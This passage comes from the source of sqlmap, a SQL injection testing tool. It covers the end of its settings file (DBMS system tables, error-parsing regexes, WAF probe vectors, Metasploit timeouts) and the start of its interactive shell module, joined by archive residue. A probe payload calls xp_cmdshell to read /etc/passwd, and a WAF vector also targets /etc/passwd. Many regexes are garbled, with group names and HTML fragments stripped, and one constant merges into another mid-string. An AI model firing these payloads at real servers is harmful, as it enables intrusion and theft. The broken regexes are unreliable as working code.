= 7) TIME_STDEV_COEFF = 7 # Minimum response time that can be even considered as delayed (not a complete requirement) MIN_VALID_DELAYED_RESPONSE = 0.5 # Standard deviation after which a warning message should be displayed about connection lags WARN_TIME_STDEV = 0.5 # Minimum length of usable union injected response (quick defense against substr fields) UNION_MIN_RESPONSE_CHARS = 10 # Coefficient used for a union-based number of columns checking (must be >= 7) UNION_STDEV_COEFF = 7 # Length of queue for candidates for time delay adjustment TIME_DELAY_CANDIDATES = 3 # Default value for HTTP Accept header HTTP_ACCEPT_HEADER_VALUE = "*/*" # Default value for HTTP Accept-Encoding header HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate" # Default timeout for running commands over backdoor BACKDOOR_RUN_CMD_TIMEOUT = 5 # Number of seconds to wait for thread finalization at program end THREAD_FINALIZATION_TIMEOUT = 1 # Maximum number of techniques used in inject.py/getValue() per one value MAX_TECHNIQUES_PER_VALUE = 2 # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 # Maximum size of cache used in @cachedmethod decorator MAX_CACHE_ITEMS = 256 # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" # Number of times to retry the pushValue during the exceptions (e.g. KeyboardInterrupt) PUSH_VALUE_EXCEPTION_RETRY_COUNT = 3 # Minimum time response set needed for time-comparison based on standard deviation MIN_TIME_RESPONSES = 30 # Maximum time response set used during time-comparison based on standard deviation MAX_TIME_RESPONSES = 200 # Minimum comparison ratio set needed for searching valid union column number based on standard deviation MIN_UNION_RESPONSES = 5 # After these number of blanks at the end inference should stop (just in case) INFERENCE_BLANK_BREAK = 5 # Use this replacement character for cases when inference is not able to retrieve the proper character value INFERENCE_UNKNOWN_CHAR = '?' # Character used for operation "greater" in inference INFERENCE_GREATER_CHAR = ">" # Character used for operation "greater or equal" in inference INFERENCE_GREATER_EQUALS_CHAR = ">=" # Character used for operation "equals" in inference INFERENCE_EQUALS_CHAR = "=" # Character used for operation "not-equals" in inference INFERENCE_NOT_EQUALS_CHAR = "!=" # String used for representation of unknown DBMS UNKNOWN_DBMS = "Unknown" # String used for representation of unknown DBMS version UNKNOWN_DBMS_VERSION = "Unknown" # Dynamicity boundary length used in dynamicity removal engine DYNAMICITY_BOUNDARY_LENGTH = 20 # Dummy user prefix used in dictionary attack DUMMY_USER_PREFIX = "__dummy__" # Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1 DEFAULT_PAGE_ENCODING = "iso-8859-1" try: codecs.lookup(DEFAULT_PAGE_ENCODING) except LookupError: DEFAULT_PAGE_ENCODING = "utf8" # Marker for program piped input STDIN_PIPE_DASH = '-' # URL used in dummy runs DUMMY_URL = "http://foo/bar?id=1" # Timeout used during initial websocket (pull) testing WEBSOCKET_INITIAL_TIMEOUT = 3 # The name of the operating system dependent module imported. The following names have currently been registered: 'posix', 'nt', 'mac', 'os2', 'ce', 'java', 'riscos' PLATFORM = os.name PYVERSION = sys.version.split()[0] IS_WIN = PLATFORM == "nt" # Check if running in terminal IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) # DBMS system databases MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB") MYSQL_SYSTEM_DBS = ("information_schema", "mysql", "performance_schema", "sys") PGSQL_SYSTEM_DBS = ("information_schema", "pg_catalog", "pg_toast", "pgagent") ORACLE_SYSTEM_DBS = ("ADAMS", "ANONYMOUS", "APEX_030200", "APEX_PUBLIC_USER", "APPQOSSYS", "AURORA$ORB$UNAUTHENTICATED", "AWR_STAGE", "BI", "BLAKE", "CLARK", "CSMIG", "CTXSYS", "DBSNMP", "DEMO", "DIP", "DMSYS", "DSSYS", "EXFSYS", "FLOWS_%", "FLOWS_FILES", "HR", "IX", "JONES", "LBACSYS", "MDDATA", "MDSYS", "MGMT_VIEW", "OC", "OE", "OLAPSYS", "ORACLE_OCM", "ORDDATA", "ORDPLUGINS", "ORDSYS", "OUTLN", "OWBSYS", "PAPER", "PERFSTAT", "PM", "SCOTT", "SH", "SI_INFORMTN_SCHEMA", "SPATIAL_CSW_ADMIN_USR", "SPATIAL_WFS_ADMIN_USR", "SYS", "SYSMAN", "SYSTEM", "TRACESVR", "TSMSYS", "WK_TEST", "WKPROXY", "WKSYS", "WMSYS", "XDB", "XS$NULL") SQLITE_SYSTEM_DBS = ("sqlite_master", "sqlite_temp_master") ACCESS_SYSTEM_DBS = ("MSysAccessObjects", "MSysACEs", "MSysObjects", "MSysQueries", "MSysRelationships", "MSysAccessStorage", "MSysAccessXML", "MSysModules", "MSysModules2") FIREBIRD_SYSTEM_DBS = ("RDB$BACKUP_HISTORY", "RDB$CHARACTER_SETS", "RDB$CHECK_CONSTRAINTS", "RDB$COLLATIONS", "RDB$DATABASE", "RDB$DEPENDENCIES", "RDB$EXCEPTIONS", "RDB$FIELDS", "RDB$FIELD_DIMENSIONS", " RDB$FILES", "RDB$FILTERS", "RDB$FORMATS", "RDB$FUNCTIONS", "RDB$FUNCTION_ARGUMENTS", "RDB$GENERATORS", "RDB$INDEX_SEGMENTS", "RDB$INDICES", "RDB$LOG_FILES", "RDB$PAGES", "RDB$PROCEDURES", "RDB$PROCEDURE_PARAMETERS", "RDB$REF_CONSTRAINTS", "RDB$RELATIONS", "RDB$RELATION_CONSTRAINTS", "RDB$RELATION_FIELDS", "RDB$ROLES", "RDB$SECURITY_CLASSES", "RDB$TRANSACTIONS", "RDB$TRIGGERS", "RDB$TRIGGER_MESSAGES", "RDB$TYPES", "RDB$USER_PRIVILEGES", "RDB$VIEW_RELATIONS") MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN") SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs") DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS") HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB") H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache") INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin") MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MCKOI_SYSTEM_DBS = ("",) PRESTO_SYSTEM_DBS = ("information_schema",) ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") CLICKHOUSE_SYSTEM_DBS = ("information_schema", "INFORMATION_SCHEMA", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA") RAIMA_SYSTEM_DBS = ("",) VIRTUOSO_SYSTEM_DBS = ("",) # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle") PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb") MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db") SYBASE_ALIASES = ("sybase", "sybase sql server") DB2_ALIASES = ("db2", "ibm db2", "ibmdb2") HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql") H2_ALIASES = ("h2",) + ("ignite", "apache ignite") INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix") MONETDB_ALIASES = ("monet", "monetdb",) DERBY_ALIASES = ("derby", "apache derby",) VERTICA_ALIASES = ("vertica",) MCKOI_ALIASES = ("mckoi",) PRESTO_ALIASES = ("presto",) ALTIBASE_ALIASES = ("altibase",) MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") CUBRID_ALIASES = ("cubrid",) CLICKHOUSE_ALIASES = ("clickhouse",) CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") EXTREMEDB_ALIASES = ("extremedb", "extreme") FRONTBASE_ALIASES = ("frontbase",) RAIMA_ALIASES = ("raima database manager", "raima", "raimadb", "raimadm", "rdm", "rds", "velocis") VIRTUOSO_ALIASES = ("virtuoso", "openlink virtuoso") DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) SUPPORTED_OS = ("linux", "windows") DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") HOST_ALIASES = ("host",) # DBMSes with upper case identifiers UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.ALTIBASE)) # Default schemas to use (when unable to enumerate) H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC" VERTICA_DEFAULT_SCHEMA = "public" MCKOI_DEFAULT_SCHEMA = "APP" CACHE_DEFAULT_SCHEMA = "SQLUser" # DBMSes where OFFSET mechanism starts from 1 PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE)) # Names that can't be used to name files on Windows OS WINDOWS_RESERVED_NAMES = ("CON", "PRN", "AUX", "NUL", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9") # Items displayed in basic help (-h) output BASIC_HELP_ITEMS = ( "url", "googleDork", "data", "cookie", "randomAgent", "proxy", "testParameter", "dbms", "level", "risk", "technique", "getAll", "getBanner", "getCurrentUser", "getCurrentDb", "getPasswordHashes", "getDbs", "getTables", "getColumns", "getSchema", "dumpTable", "dumpAll", "db", "tbl", "col", "osShell", "osPwn", "batch", "checkTor", "flushSession", "tor", "sqlmapShell", "wizard", ) # Tags used for value replacements inside shell scripts SHELL_WRITABLE_DIR_TAG = "%WRITABLE_DIR%" SHELL_RUNCMD_EXE_TAG = "%RUNCMD_EXE%" # String representation for NULL value NULL = "NULL" # String representation for blank ('') value BLANK = "" # String representation for current database CURRENT_DB = "CD" # String representation for current user CURRENT_USER = "CU" # Name of SQLite file used for storing session data SESSION_SQLITE_FILE = "session.sqlite" # Regular expressions used for finding file paths in error messages FILE_PATH_REGEXES = (r"(?P[^<>]+?) on line \d+", r"\bin (?P[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P/\w[/\w.~-]+)", r"\bhref=['\"]file://(?P/[^'\"]+)", r"\bin (?P[^<]+): line \d+") # Regular expressions used for parsing error messages (--parse-errors) ERROR_PARSING_REGEXES = ( r"\[Microsoft\]\[ODBC SQL Server Driver\]\[SQL Server\](?P[^<]+)", r"[^<]{0,100}(fatal|error|warning|exception)[^<]*:?\s*(?P[^<]+)", r"(?m)^\s{0,100}(fatal|error|warning|exception):?\s*(?P[^\n]+?)$", r"(sql|dbc)[^>'\"]{0,32}(fatal|error|warning|exception)()?:\s*(?P[^<>]+)", r"(?P[^\n>]{0,100}SQL Syntax[^\n<]+)", r"(?s)
  • Error Type:
    (?P.+?)
  • ", r"CDbCommand (?P[^<>\n]*SQL[^<>\n]+)", r"Code: \d+. DB::Exception: (?P[^<>\n]*)", r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P[^<>]+)", r"\[[^\n\]]{1,100}(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)", r"(?Pquery error: SELECT[^<>]+)" ) # Regular expression used for parsing charset info from meta html headers META_CHARSET_REGEX = r'(?si).*]+charset="?(?P[^"> ]+).*' # Regular expression used for parsing refresh info from meta html headers META_REFRESH_REGEX = r'(?i)]+content="?[^">]+;\s*(url=)?["\']?(?P[^\'">]+)' # Regular expression used for parsing Javascript redirect request JAVASCRIPT_HREF_REGEX = r'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" # Vectors used for provoking specific WAF/IPS behavior(s) WAF_ATTACK_VECTORS = ( "", # NIL "search=", "file=../../../../etc/passwd", "q=foobar", "id=1 %s" % IPS_WAF_CHECK_PAYLOAD ) # Used for status representation in dictionary attack phase ROTATING_CHARS = ('\\', '|', '|', '/', '-') # Approximate chunk length (in bytes) used by BigArray objects (only last chunk and cached one are held in memory) BIGARRAY_CHUNK_SIZE = 1024 * 1024 # Compress level used for storing BigArray chunks to disk (0-9) BIGARRAY_COMPRESS_LEVEL = 9 # Maximum number of socket pre-connects SOCKET_PRE_CONNECT_QUEUE_SIZE = 3 # Only console display last n table rows TRIM_STDOUT_DUMP_SIZE = 256 # Reference: http://stackoverflow.com/a/3168436 # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 # Step used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_STEP = 10 # Maximum value used in ORDER BY technique used for finding the right number of columns in UNION query injections ORDER_BY_MAX = 1000 # Maximum number of times for revalidation of a character in inference (as required) MAX_REVALIDATION_STEPS = 5 # Characters that can be used to split parameter values in provided command line (e.g. in --tamper) PARAMETER_SPLITTING_REGEX = r"[,|;]" # Attribute used for storing original parameter value in special cases (e.g. POST) UNENCODED_ORIGINAL_VALUE = "original" # Common column names containing usernames (used for hash cracking in some cases) COMMON_USER_COLUMNS = ("login", "user", "username", "user_name", "user_login", "account", "account_name", "benutzername", "benutzer", "utilisateur", "usager", "consommateur", "utente", "utilizzatore", "utilizator", "utilizador", "usufrutuario", "korisnik", "uporabnik", "usuario", "consumidor", "client", "customer", "cuser") # Default delimiter in GET/POST values DEFAULT_GET_POST_DELIMITER = '&' # Default delimiter in cookie values DEFAULT_COOKIE_DELIMITER = ';' # Unix timestamp used for forcing cookie expiration when provided with --load-cookies FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions GITHUB_REPORT_OAUTH_TOKEN = "wxqc7vTeW8ohIcX+1wK55Mnql2Ex9cP+2s1dqTr/mjlZJVfLnq24fMAi08v5vRvOmuhVZQdOT/lhIRovWvIJrdECD1ud8VMPWpxY+NmjHoEx+VLK1/vCAUBwJe" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 # Number of retries for unsuccessful HashDB flush attempts HASHDB_FLUSH_RETRIES = 3 # Number of retries for unsuccessful HashDB retrieve attempts HASHDB_RETRIEVE_RETRIES = 3 # Number of retries for unsuccessful HashDB end transaction attempts HASHDB_END_TRANSACTION_RETRIES = 3 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism) HASHDB_MILESTONE_VALUE = "OdqjeUpBLc" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))' # Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format) PICKLE_PROTOCOL = 2 # Warn user of possible delay due to large page dump in full UNION query injections LARGE_OUTPUT_THRESHOLD = 1024 ** 2 # On huge tables there is a considerable slowdown if every row retrieval requires ORDER BY (most noticable in table dumping using ERROR injections) SLOW_ORDER_COUNT_THRESHOLD = 10000 # Give up on hash recognition if nothing was found in first given number of rows HASH_RECOGNITION_QUIT_THRESHOLD = 1000 # Regular expression used for automatic hex conversion and hash cracking of (RAW) binary column values HASH_BINARY_COLUMNS_REGEX = r"(?i)pass|psw|hash" # Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce MAX_SINGLE_URL_REDIRECTIONS = 4 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop MAX_TOTAL_REDIRECTIONS = 10 # Maximum (deliberate) delay used in page stability check MAX_STABILITY_DELAY = 0.5 # Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm MAX_DNS_LABEL = 63 # Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content) DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters) # Alphabet used for heuristic checks HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.') # Minor artistic touch BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER) # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">" # Regular expression used for recognition of file inclusion errors FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}" # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 # Connection read size (processing large responses in parts to avoid MemoryError crashes - e.g. large table dump in full UNION injections) MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024 # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 # For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher) MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024 # Page size threshold used in heuristic checks (e.g. getHeuristicCharEncoding(), identYwaf, htmlParser, etc.) HEURISTIC_PAGE_SIZE_THRESHOLD = 64 * 1024 # Maximum (multi-threaded) length of entry in bisection algorithm MAX_BISECTION_LENGTH = 50 * 1024 * 1024 # Mark used for trimming unnecessary content in large connection reads LARGE_READ_TRIM_MARKER = "__TRIMMED_CONTENT__" # Generic SQL comment formation GENERIC_SQL_COMMENT = "-- [RANDSTR]" # Threshold value for turning back on time auto-adjustment mechanism VALID_TIME_CHARS_RUN_THRESHOLD = 100 # Check for empty columns only if table is sufficiently large CHECK_ZERO_COLUMNS_THRESHOLD = 10 # Boldify all logger messages containing these "patterns" BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ") # TLDs used in randomization of email-alike parameter values RANDOMIZATION_TLDS = ("com", "net", "ru", "org", "de", "uk", "br", "jp", "cn", "fr", "it", "pl", "tv", "edu", "in", "ir", "es", "me", "info", "gr", "gov", "ca", "co", "se", "cz", "to", "vn", "nl", "cc", "az", "hu", "ua", "be", "no", "biz", "io", "ch", "ro", "sk", "eu", "us", "tw", "pt", "fi", "at", "lt", "kz", "cl", "hr", "pk", "lv", "la", "pe", "au") # Generic www root directory names GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "public_html", "wwwroot", "www", "site") # Maximum length of a help part containing switch/option name(s) MAX_HELP_OPTION_LENGTH = 18 # Maximum number of connection retries (to prevent problems with recursion) MAX_CONNECT_RETRIES = 100 # Strings for detecting formatting errors FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Please enter a", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "TypeMismatchException", "CF_SQL_INTEGER", "CF_SQL_NUMERIC", " for CFSQLTYPE ", "cfqueryparam cfsqltype", "InvalidParamTypeException", "Invalid parameter type", "Attribute validation error for tag", "is not of type numeric", "__VIEWSTATE[^"]*)[^>]+value="(?P[^"]+)' # Regular expression used for extracting ASP.NET event validation values EVENTVALIDATION_REGEX = r'(?i)(?P__EVENTVALIDATION[^"]*)[^>]+value="(?P[^"]+)' # Number of rows to generate inside the full union test for limited output (mustn't be too large to prevent payload length problems) LIMITED_ROWS_TEST_NUMBER = 15 # Default adapter to use for bottle server RESTAPI_DEFAULT_ADAPTER = "wsgiref" # Default REST-JSON API server listen address RESTAPI_DEFAULT_ADDRESS = "127.0.0.1" # Default REST-JSON API server listen port RESTAPI_DEFAULT_PORT = 8775 # Unsupported options by REST-JSON API server RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard") # Use "Supplementary Private Use Area-A" INVALID_UNICODE_PRIVATE_AREA = False # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\x%02x" # Minimum supported version of httpx library (for --http2) MIN_HTTPX_VERSION = "0.28" # Regular expression for XML POST data XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null|\[).*\}\s*(\]\s*)*\Z' # Regular expression used for detecting JSON-like POST data JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*('[^']+'|\"[^\"]+\"|\w+)\s*:\s*('[^']+'|\"[^\"]+\"|\d+).*\}\s*(\]\s*)*\Z" # Regular expression used for detecting multipart POST data MULTIPART_RECOGNITION_REGEX = r"(?i)Content-Disposition:[^;]+;\s*name=" # Regular expression used for detecting Array-like POST data ARRAY_LIKE_RECOGNITION_REGEX = r"(\A|%s)(\w+)\[\d*\]=.+%s\2\[\d*\]=" % (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER) # Default POST data content-type DEFAULT_CONTENT_TYPE = "application/x-www-form-urlencoded; charset=utf-8" # Raw text POST data content-type PLAIN_TEXT_CONTENT_TYPE = "text/plain; charset=utf-8" # Length used while checking for existence of Suhosin-patch (like) protection mechanism SUHOSIN_MAX_VALUE_LENGTH = 512 # Minimum size of an (binary) entry before it can be considered for dumping to disk MIN_BINARY_DISK_DUMP_SIZE = 100 # Filenames of payloads xml files (in order of loading) PAYLOAD_XML_FILES = ("boolean_blind.xml", "error_based.xml", "inline_query.xml", "stacked_queries.xml", "time_blind.xml", "union_query.xml") # Regular expression used for extracting form tags FORM_SEARCH_REGEX = r"(?si)" # Maximum number of lines to save in history file MAX_HISTORY_LENGTH = 1000 # Minimum field entry length needed for encoded content (hex, base64,...) check MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized METASPLOIT_SESSION_TIMEOUT = 120 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html LOBLKSIZE = 2048 # Prefix used to mark special variables (e.g. keywords, having special chars, etc.) EVALCODE_ENCODED_PREFIX = "EVAL_" # Reference: https://en.wikipedia.org/wiki/Zip_(file_format) ZIP_HEADER = b"\x50\x4b\x03\x04" # Reference: http://www.cookiecentral.com/faq/#3.5 NETSCAPE_FORMAT_HEADER_COOKIES = "# Netscape HTTP Cookie File." # Infixes used for automatic recognition of parameters carrying anti-CSRF tokens CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token") # Prefixes used in brute force search for web server document root BRUTE_DOC_ROOT_PREFIXES = { OS.LINUX: ("/var/www", "/usr/local/apache", "/usr/local/apache2", "/usr/local/www/apache22", "/usr/local/www/apache24", "/usr/local/httpd", "/var/www/nginx-default", "/srv/www", "/var/www/%TARGET%", "/var/www/vhosts/%TARGET%", "/var/www/virtual/%TARGET%", "/var/www/clients/vhosts/%TARGET%", "/var/www/clients/virtual/%TARGET%"), OS.WINDOWS: ("/xampp", "/Program Files/xampp", "/wamp", "/Program Files/wampp", "/Apache/Apache", "/apache", "/Program Files/Apache Group/Apache", "/Program Files/Apache Group/Apache2", "/Program Files/Apache Group/Apache2.2", "/Program Files/Apache Group/Apache2.4", "/Inetpub/wwwroot", "/Inetpub/wwwroot/%TARGET%", "/Inetpub/vhosts/%TARGET%") } # Suffixes used in brute force search for web server document root BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build") # String used for marking target name inside used brute force web server document root BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%" # Character used as a boundary in kb.chars (preferably less frequent letter) KB_CHARS_BOUNDARY_CHAR = 'q' # Letters of lower frequency used in kb.chars KB_CHARS_LOW_FREQUENCY_ALPHABET = "zqxjkvbp" # Printable bytes PRINTABLE_BYTES = set(bytes(string.printable, "ascii") if six.PY3 else string.printable) # SQL keywords used for splitting in HTTP chunked transfer encoded requests (switch --chunk) HTTP_CHUNKED_SPLIT_KEYWORDS = ("SELECT", "UPDATE", "INSERT", "FROM", "LOAD_FILE", "UNION", "information_schema", "sysdatabases", "msysaccessobjects", "msysqueries", "sysmodules") # CSS style used in HTML dump format HTML_DUMP_CSS_STYLE = """""" # Leaving (dirty) possibility to change values from here (e.g. `export SQLMAP__MAX_NUMBER_OF_THREADS=20`) for key, value in os.environ.items(): if key.upper().startswith("%s_" % SQLMAP_ENVIRONMENT_PREFIX): _ = key[len(SQLMAP_ENVIRONMENT_PREFIX) + 1:].upper() if _ in globals(): original = globals()[_] if isinstance(original, int): try: globals()[_] = int(value) except ValueError: pass elif isinstance(original, bool): globals()[_] = value.lower() in ('1', 'true') elif isinstance(original, (list, tuple)): globals()[_] = [__.strip() for __ in _.split(',')] else: globals()[_] = value sqlmap-1.9.6/lib/core/shell.py000066400000000000000000000115331502261744200162110ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import atexit import os from lib.core import readlineng as readline from lib.core.common import getSafeExString from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.enums import OS from lib.core.settings import IS_WIN from lib.core.settings import MAX_HISTORY_LENGTH try: import rlcompleter class CompleterNG(rlcompleter.Completer): def global_matches(self, text): """ Compute matches when text is a simple name. Return a list of all names currently defined in self.namespace that match. """ matches = [] n = len(text) for ns in (self.namespace,): for word in ns: if word[:n] == text: matches.append(word) return matches except: readline._readline = None def readlineAvailable(): """ Check if the readline is available. By default it is not in Python default installation on Windows """ return readline._readline is not None def clearHistory(): if not readlineAvailable(): return readline.clear_history() def saveHistory(completion=None): try: if not readlineAvailable(): return if completion == AUTOCOMPLETE_TYPE.SQL: historyPath = paths.SQL_SHELL_HISTORY elif completion == AUTOCOMPLETE_TYPE.OS: historyPath = paths.OS_SHELL_HISTORY elif completion == 